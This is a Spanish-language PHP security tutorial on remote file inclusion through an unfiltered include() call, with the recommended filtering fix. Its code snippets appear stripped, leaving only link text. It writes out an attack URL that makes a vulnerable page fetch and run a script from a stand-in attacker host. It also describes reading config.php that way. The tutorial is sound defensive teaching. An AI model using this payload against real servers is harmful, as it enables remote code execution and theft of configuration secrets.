Como hemos visto en capítulos anteriores sobre problemas de seguridad y sql injection, hay una serie de aspectos relacionados con la seguridad a tener en cuenta a la hora de diseñar una aplicación web. Uno de los más explotados es la falla abierta por un uso indebido de la función de php include().
Veamos un ejemplo:
Home | Contact
En el ejemplo anterior, pasamos como variable ‘$page’ el nombre del archivo (php en este caso, podría ser html u otra extensión), que será cargado en la línea correspondiente mediante ‘include()’. La ausencia de filtrado de esta variable puede dejar nuestra aplicación a merced de cualquier intruso poco experimentado, veamos por qué.
- El sistema es fácilmente reconocible. La cadena ‘?page=paginaXXX.php’ sugiere que en cada sección se está cargando un archivo externo, y que por tanto debe de haber un include cerca.
- Si la variable no está filtrada, podemos pasarle código que haga lo que nosotros queramos. Podemos indicarle que cargue un archivo ubicado en cualquier servidor, con código que realice desde llamadas a bases de datos hasta (lo más común), envíos masivos de emails (spam). Aquí el problema es bastante grave porque cuando estos abusos se detectan suele ser una vez se han cometido, y eso casi siempre es tarde
Supongamos un ejemplo: copiemos el código anterior en un archivo llamado ‘hackme.php’, pongámoslo en un servidor web, y llamémoslo pasándole este valor a la variable ‘$page’: http://www.tusitio.com/hackme.php?page=http://www.hacker.com/evilscript.php
Esto leerá el archivo evilscript.php del servidor hacker.com y ¡lo ejecutará en tu máquina! Si el archivo evilscript.php fuera por ejemplo:
El intruso estaría obteniendo el sistema operativo, lo que podría darle información acerca de posibles vulnerabilidades. Pero también podría, por ejemplo, leer cualquier archivo ‘config.php’ y mostrar su contenido en pantalla ofreciendo así datos importantes sobre la aplicación, etc.
Es como dejar un Ferrari aparcado con las llaves puestas.
Para solucionar este problema de ejecución de código malicioso en nuestra aplicación, deberíamos sustituir la línea
include $page;
por un filtro apropiado para nuestra aplicación:
Home | Contact
De este modo, en nuestro sistema se ejecutará única y exclusivamente el código que se debe ejecutar. Al menos, en cuanto a lo que la función include() se refiere.